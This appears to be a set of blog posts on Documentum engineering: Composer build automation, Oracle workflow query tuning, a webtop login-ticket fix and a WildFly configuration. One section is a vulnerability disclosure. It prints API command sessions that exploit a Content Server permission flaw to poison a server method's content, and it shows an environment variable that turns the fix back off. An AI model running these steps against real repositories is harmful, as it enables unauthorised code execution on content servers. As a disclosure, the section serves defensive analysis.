Cooking composer

Well, no doubts that Documentum Composer is an evil, and even vendor fails to maintain it, nevertheless it is a kind of evil we need to deal with – I do know how to create a lot of Documentum artefacts using API and DQL only, but I have no idea how to install process templates, moreover, somewhen in 2009 there was a hope, that EMC would create a robust technique to transfer process templates between repositories, but that was just a hope – current support of XPDL does not allow to transfer workflow templates between Documentum repositories :(, so, I decided to share my composer-related experience.

First of all, lets define objectives we pursue when dealing with composer, in my opinion there are following goals:

  • we must store all composer-related stuff in version control system
  • the build process must be fully automated, be a part of SDLC and support CI/CD practices
  • the deployment phase should not take a lot of time

Storing composer project in VCS

The first steps you need to perform after creating composer project are (actually, this was not obvious to me 6 years ago, because I was not experienced eclipse user):

  • export project to the filesystem folder backed by VCS
  • remove project from workspace
  • import project into workspace

Automating build process and shortening deployment phase

This parts are already challenging. When EMC developed composer (actually it is just Eclipse plugin), they did really think that developers would use it as IDE (how wrong they were), and because of that Documentum composer lacks some vital functionality. If you are not familiar with evolution of build automation tools, below is gist:

  • in 1976 Stuart Feldman created make, before him developers used shell-scripts to build their software
  • in 2000 James Duncan Davidson released first public version of Apache Ant
  • in 2002 Takari’s Jason van Zyl created Apache Maven
  • and in 2007 Hans Dockter and Adam Murdoch released a first version of gradle

Actually, gradle is my personal choice, but I also do not experience any difficulties with both maven and ant, however, talented team still thinks that shell-scripts is a good option:

(Un)fortunately it is not an option for me, so, I wrote a simple eclipse plugin, which allows somehow automate composer tasks, for example, you may write following ant build file:

<?xml version="1.0"?>

<project name="myproject" default="all">

    <macrodef name="copy.project">
        <attribute name="project" />
        <sequential>
            <pro.importProject project="@{project}" 
                               location="${composer.project.dir}" 
                               copy="true" replace="true" 
            />
        </sequential>
    </macrodef>

    <macrodef name="import.project">
        <attribute name="project" />
        <sequential>
            <pro.importProject project="@{project}" 
                               location="${composer.project.dir}" 
                               copy="false" 
            />
        </sequential>
    </macrodef>

    <macrodef name="copy.dar">
        <attribute name="project" />
        <sequential>
            <mkdir dir="${output.dir}" />
            <pro.copyDar project="@{project}" todir="${output.dir}" />
        </sequential>
    </macrodef>

    <target name="create-workspace" description="Create local composer workspace">
        <import.project project="MyDocumentumProject" />
    </target>

    <target name="create-build-workspace" description="Create build composer workspace">
        <copy.project project="MyDocumentumProject" />
    </target>

    <target name="importcontent" description="Import content">
        <pro.importContents file="${basedir}/importcontents.txt" />
    </target>

    <target name="build-workspace" description="build eclipse project">
        <eclipse.incrementalBuild kind="full" />
    </target>

    <target name="clean-workspace" description="clean eclipse project">
        <eclipse.incrementalBuild kind="clean" />
    </target>

    <target name="copy">
        <copy.dar project="MyDocumentumProject" />
    </target>

    <target name="setoptions" description="Set upgrade options">
        <pro.setUpgradeOptions file="${basedir}/upgradeoptions.txt" />
    </target>

    <target name="all" depends="create-build-workspace, importcontent, setoptions, build-workspace, copy" />

</project>

and call ant from either ant or maven (via exec-maven-plugin), or gradle (via JavaExec or ComposerExec).

Why CURSOR_SHARING=FORCE sucks. Part II

I believe everybody who maintains Documentum repository with intensive workflow do see following query in the top of database performance reports:

UPDATE /*+ USE_NL(dmi_workitem_s) */
      dmi_workitem_s
   SET a_wq_name = :p0
 WHERE r_object_id =
          ANY (SELECT /*+ CARDINALITY(1) */
                      wis2.r_object_id
                 FROM (SELECT wis3.r_object_id AS r_object_id
                         FROM (  SELECT /*+ CARDINALITY(1) */
                                        wis.r_object_id AS r_object_id
                                   FROM dmi_workitem_s wis
                                  WHERE     wis.r_runtime_state >= 0
                                        AND wis.r_runtime_state <= 1
                                        AND wis.r_auto_method_id >
                                               '0000000000000000'
                                        AND wis.a_wq_name = ' '
                                        AND wis.r_next_retry_date < SYSDATE
                               ORDER BY r_creation_date ASC) wis3
                        WHERE ROWNUM <= 90) wis2);

This query is performed by workflow agent and their bad performance actually reveals a poor database design because dmi_workitem_s table does not contain column with high selectivity:

  • records with r_runtime_state IN (0, 1) relates to both auto and manual activities
  • records with r_auto_method_id > ‘0000000000000000’ relates to both completed and non-completed auto activities

Actually, in case of MSSQL and PostgreSQL it would possible to create “ideal” index for this query like:

CREATE INDEX idx_auto_tasls
   ON dmi_workitem_s (r_object_id, r_next_retry_date, r_creation_date)
   WHERE wis.r_runtime_state >= 0
     AND wis.r_runtime_state <= 1
     AND wis.r_auto_method_id > '0000000000000000'
     AND wis.a_wq_name = ' ';

because both MSSQL and PostgreSQL support partial indexes, in case of Oracle the solution is not so straightforward, because it either required to rewrite query to the following form:

UPDATE /*+ USE_NL(dmi_workitem_s) */
      dmi_workitem_s
   SET a_wq_name = :p0
 WHERE r_object_id =
          ANY (SELECT /*+ CARDINALITY(1) */
                      wis2.r_object_id
                 FROM (SELECT wis3.r_object_id AS r_object_id
                         FROM (  SELECT /*+ CARDINALITY(1) */
                                        wis.r_object_id AS r_object_id
                                   FROM dmi_workitem_s wis
                                  WHERE     CASE
                                               WHEN     wis.r_runtime_state >=
                                                           0
                                                    AND wis.r_runtime_state <=
                                                           1
                                                    AND wis.r_auto_method_id >
                                                           '0000000000000000'
                                                    AND wis.a_wq_name = ' '
                                               THEN
                                                  1
                                            END = 1
                                        AND wis.r_next_retry_date < SYSDATE
                               ORDER BY r_creation_date ASC) wis3
                        WHERE ROWNUM <= 90) wis2);

and create following functional-based index:

CREATE INDEX idx_auto_tasks
   ON dmi_workitem_s (
      CASE
         WHEN     r_runtime_state >= 0
              AND r_runtime_state <= 1
              AND r_auto_method_id > '0000000000000000'
              AND a_wq_name = ' '
         THEN
            1
      END);

or create materialized view like:

CREATE MATERIALIZED VIEW mv_auto_tasks
   REFRESH FAST ON COMMIT
   ENABLE QUERY REWRITE
AS
   SELECT wis.r_object_id, wis.r_creation_date, wis.r_next_retry_date
     FROM dmi_workitem_s wis
    WHERE     wis.r_runtime_state >= 0
          AND wis.r_runtime_state <= 1
          AND wis.r_auto_method_id > '0000000000000000'
          AND wis.a_wq_name = ' ';

and take advantage of query rewrite:

---------------------------------------------------------------------------------------------------------
| Id  | Operation                          | Name               | Rows  | Bytes | Cost (%CPU)| Time     |
---------------------------------------------------------------------------------------------------------
|   0 | UPDATE STATEMENT                   |                    |     1 |    70 |     3  (34)| 00:00:01 |
|   1 |  UPDATE                            | DMI_WORKITEM_S     |       |       |            |          |
|   2 |   NESTED LOOPS                     |                    |     1 |    70 |     3  (34)| 00:00:01 |
|   3 |    VIEW                            |                    |     1 |    10 |     3  (34)| 00:00:01 |
|*  4 |     COUNT STOPKEY                  |                    |       |       |            |          |
|   5 |      VIEW                          |                    |     1 |    10 |     3  (34)| 00:00:01 |
|*  6 |       SORT ORDER BY STOPKEY        |                    |     1 |    28 |     3  (34)| 00:00:01 |
|*  7 |        MAT_VIEW REWRITE ACCESS FULL| MV_AUTO_TASKS      |     1 |    28 |     2   (0)| 00:00:01 |
|*  8 |    INDEX UNIQUE SCAN               | D_1F024BE98000018C |     1 |    60 |     0   (0)| 00:00:01 |
---------------------------------------------------------------------------------------------------------
Predicate Information (identified by operation id):
---------------------------------------------------
   4 - filter(ROWNUM<=90)
   6 - filter(ROWNUM<=90)
   7 - filter("MV_AUTO_TASKS"."R_NEXT_RETRY_DATE"<SYSDATE@!)
   8 - access("R_OBJECT_ID"="WIS2"."R_OBJECT_ID")

Unfortunately, due to CURSOR_SHARING=FORCE recommendation neither option is applicable, and the only “option” is use hex editor to modify documentum binary – in case of oracle we need to place CURSOR_SHARING_EXACT hint and modify where clause.

A FATAL error has occurred. Part II

20 months ago I described a bizarre behaviour in webtop, now it is time to describe how to solve such problem (actually, customer have shared a simple testcase when user changes his password via Ctrl+Alt+Del on Windows computer and after that he need to clear cookies in order to force webtop to work). I do think the best option here is to replace actual user’s password by login ticket and the best candidate for that is com.documentum.web.formext.session.AuthenticationService:

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;

import com.documentum.fc.client.IDfSession;
import com.documentum.fc.client.IDfSessionManager;
import com.documentum.fc.common.DfException;
import com.documentum.fc.common.DfLoginInfo;
import com.documentum.fc.common.IDfLoginInfo;

/**
 * @author Andrey B. Panfilov <andrey@panfilov.tel>
 */
public class AuthenticationServiceCustom extends AuthenticationService {

    public AuthenticationServiceCustom() {
        super();
    }

    @Override
    public void login(HttpSession httpSession, String principalName,
            String docbase, HttpServletRequest req)
        throws DfException {
        super.login(httpSession, principalName, docbase, req);
        replaceTicket(docbase);
    }

    @Override
    public void login(HttpSession httpSession, String principalName,
            String docbase)
        throws DfException {
        super.login(httpSession, principalName, docbase);
        replaceTicket(docbase);
    }

    @Override
    public void login(HttpSession httpSession, String docbase,
            String userLoginName, String userPassword, String domain)
        throws PasswordExpiredException, DfException {
        super.login(httpSession, docbase, userLoginName, userPassword, domain);
        replaceTicket(docbase);
    }

    @Override
    public void login(HttpSession httpSession, String docbase, String domain,
            Object binaryCredential)
        throws DfException {
        super.login(httpSession, docbase, domain, binaryCredential);
        replaceTicket(docbase);
    }

    @Override
    public void login(HttpSession httpSession, String docbase, String domain,
            Object binaryCredential, HttpServletRequest req)
        throws DfException {
        super.login(httpSession, docbase, domain, binaryCredential, req);
        replaceTicket(docbase);
    }

    @Override
    public void login(HttpSession httpSession, String docbase,
            String userLoginName, String password, String domain,
            HttpServletRequest req)
        throws DfException {
        super.login(httpSession, docbase, userLoginName, password, domain, req);
        replaceTicket(docbase);
    }

    private void replaceTicket(String docbase) throws DfException {
        IDfSessionManager sessionManager = SessionManagerHttpBinding
                .getSessionManager();
        IDfSession session = null;
        try {
            int dotIndex = docbase.indexOf('.');
            if (dotIndex != -1) {
                docbase = docbase.substring(0, dotIndex);
            }
            session = sessionManager.getSession(docbase);
            int timeout = session.getServerConfig()
                    .getInt("max_login_ticket_timeout");
            String ticket = session.getLoginTicketEx(null, "docbase", timeout,
                    false, docbase);
            String userName = session.getLoginUserName();
            if (sessionManager.hasIdentity(docbase)) {
                sessionManager.clearIdentity(docbase);
            }
            IDfLoginInfo loginInfo = new DfLoginInfo(userName, ticket);
            sessionManager.setIdentity(docbase, loginInfo);
        } finally {
            if (session != null) {
                sessionManager.release(session);
            }
        }
    }

}

DM_CONTENT_PERM_CHECK

On May 2015 I discoveredpublished information about serious security flaw in Documentum – Content Server does not check user permissions when transferring content and modifying dmr_content objects, on June 2015 I had noticed that EMC wrongly implemented some security-related changes in Content Server, and, finally, on November 2015 (so slow) EMC published ETA that their changes break something – no information available about what got broken, so let’s check what was affected by new Content Server patches.

I think the idea of the original proof of concept is pretty clear: data_ticket attribute of dm_content objects points to the file on CS filesystem, attacker loads malicious content into separate sysobject and then transfers dmr_content attributes from donor to recipient, so docbase method gets poisoned. What has been changed in Documentum 7.2P02 to mitigate this security flaw? EMC started to check permissions for corresponding sysobjects and my proof of concept got broken:

API> apply,c,06024be980000199,SAVE_CONT_ATTRS,
        data_ticket,I,-2147480126,content_size,I,0,
        full_content_size,I,0,OBJECT_TYPE,S,dmr_content,
        IS_NEW_OBJECT,B,F
...
q0
API> ?,c,q0
result
------------
           0
(1 row affected)
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
            "Cannot access content '06024be980000199'.
            No write permission for current user"

What did EMC miss in their remediation? They failed to read documentation – attacker was able to use bindfile capability to share dmr_content object between victim object and object which was accessible for write:

Connected to Documentum Server running Release 7.2.0030.0195  Linux64.Oracle
Session id is s0
API> retrieve,c,dm_method where use_method_content=TRUE
...
10024be980000471
API> create,c,dm_document
...
09024be98003b903
API> bindfile,c,l,0,10024be980000471,0
...
OK
API> save,c,l

......

API> apply,c,06024be980000198,SAVE_CONT_ATTRS
  ,data_ticket,I,-2147439323
  ,OBJECT_TYPE,S,dmr_content
  ,IS_NEW_OBJECT,B,F
...
q0
API> ?,c,q0
result      
------------
           1
(1 row affected)

API> 

It is not clear how EMC realised that bindfile capability is vulnerable (most likely they got such information from another blog) but in latest CS patches the behaviour of bindfile capability got broken – now to use this capability user must have write access for donor sysobject:

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> retrieve,c,dm_method where object_name='pre_erouter2_forward'
...
10024be980000472
API> get,c,l,_permit
...
3
API> create,c,dm_document
...
09024be98003bd03
API> bindfile,c,l,0,10024be980000472,0
...
OK
API> save,c,l
...
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
  "Cannot access content '06024be980000199'.No write permission for current user"

saveasnew got broken too:

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> fetch,c,09024be980034157
...
OK
API> saveasnew,c,l,T
...
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
  "Cannot access content '06024be98000ed48'.No write permission for current user"

getpath (technically, only browse access required):

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> getpath,c,09024be980034171
...
[DM_SYSOBJECT_E_NO_READ_ACCESS]error:  
   "No read access for sysobject named '09024be980034171'"

You may return previous behaviour by setting up DM_CONTENT_PERM_CHECK environment variable:

[dmadmin@docu72dev01 ~]$ export DM_CONTENT_PERM_CHECK=0
[dmadmin@docu72dev01 ~]$ dm_start_DCTM_DEV 
starting Documentum server for repository: [DCTM_DEV]
with server log: [/u01/documentum/cs/dba/log/DCTM_DEV.log]
server pid: 97437

...

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> create,c,dm_document
...
09024be98003c100
API> bindfile,c,l,0,10024be980000472,0
...
OK
API> save,c,l
...
OK
API> 

Fighting with DEV ENV. Part II

It seems that talented team decided to move/upgrade JMS from JBossAS to WildFly even in 7.2 release:

Below is an adapted config for DEV ENV:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<server xmlns="urn:jboss:domain:3.0">
    <extensions>
        <extension module="org.jboss.as.deployment-scanner" />
        <extension module="org.jboss.as.ee" />
        <extension module="org.jboss.as.naming" />
        <extension module="org.jboss.as.remoting" />
        <extension module="org.jboss.as.security" />
        <extension module="org.wildfly.extension.io"/>
        <extension module="org.wildfly.extension.undertow" />
    </extensions>

    <profile>
        <subsystem xmlns="urn:jboss:domain:deployment-scanner:2.0">
            <deployment-scanner deployment-timeout="300" path="deployments" relative-to="jboss.server.base.dir" runtime-failure-causes-rollback="${jboss.deployment.scanner.rollback.on.failure:false}" scan-interval="5000" />
        </subsystem>
        <subsystem xmlns="urn:jboss:domain:ee:3.0" />
        <subsystem xmlns="urn:jboss:domain:io:1.1">
            <worker name="default"/>
            <buffer-pool name="default"/>
        </subsystem>
        <subsystem xmlns="urn:jboss:domain:naming:2.0">
            <remote-naming />
        </subsystem>
        <subsystem xmlns="urn:jboss:domain:remoting:3.0" />
        <subsystem xmlns="urn:jboss:domain:security:1.2" >
            <security-domains>
                <security-domain name="other" cache-type="default">
                    <authentication>
                        <login-module code="Remoting" flag="optional">
                            <module-option name="password-stacking" value="useFirstPass"/>
                        </login-module>
                        <login-module code="RealmDirect" flag="required">
                            <module-option name="password-stacking" value="useFirstPass"/>
                        </login-module>
                    </authentication>
                </security-domain>
            </security-domains>
        </subsystem>
        <subsystem xmlns="urn:jboss:domain:undertow:2.0">
            <buffer-cache name="default" />
            <server name="default-server">
                <http-listener max-post-size="0" name="default" redirect-socket="https" socket-binding="http" />
                <host alias="localhost" name="default-host">
                    <location handler="welcome-content" name="/" />
                    <filter-ref name="server-header" />
                    <filter-ref name="x-powered-by-header" />
                </host>
            </server>
            <servlet-container name="default">
                <jsp-config />
                <websockets />
            </servlet-container>
            <handlers>
                <file name="welcome-content" path="${jboss.home.dir}/welcome-content" />
            </handlers>
            <filters>
                <response-header header-name="Server" header-value="WildFly/9" name="server-header" />
                <response-header header-name="X-Powered-By" header-value="Undertow/1" name="x-powered-by-header" />
            </filters>
        </subsystem>
    </profile>

    <interfaces>
        <interface name="public">
            <inet-address value="${jboss.bind.address:0.0.0.0}" />
        </interface>
    </interfaces>

    <socket-binding-group default-interface="public" name="standard-sockets" port-offset="${jboss.socket.binding.port-offset:0}">
        <socket-binding name="ajp" port="9089" />
        <socket-binding name="http" port="9080" />
        <socket-binding name="https" port="9082" />
    </socket-binding-group>
</server>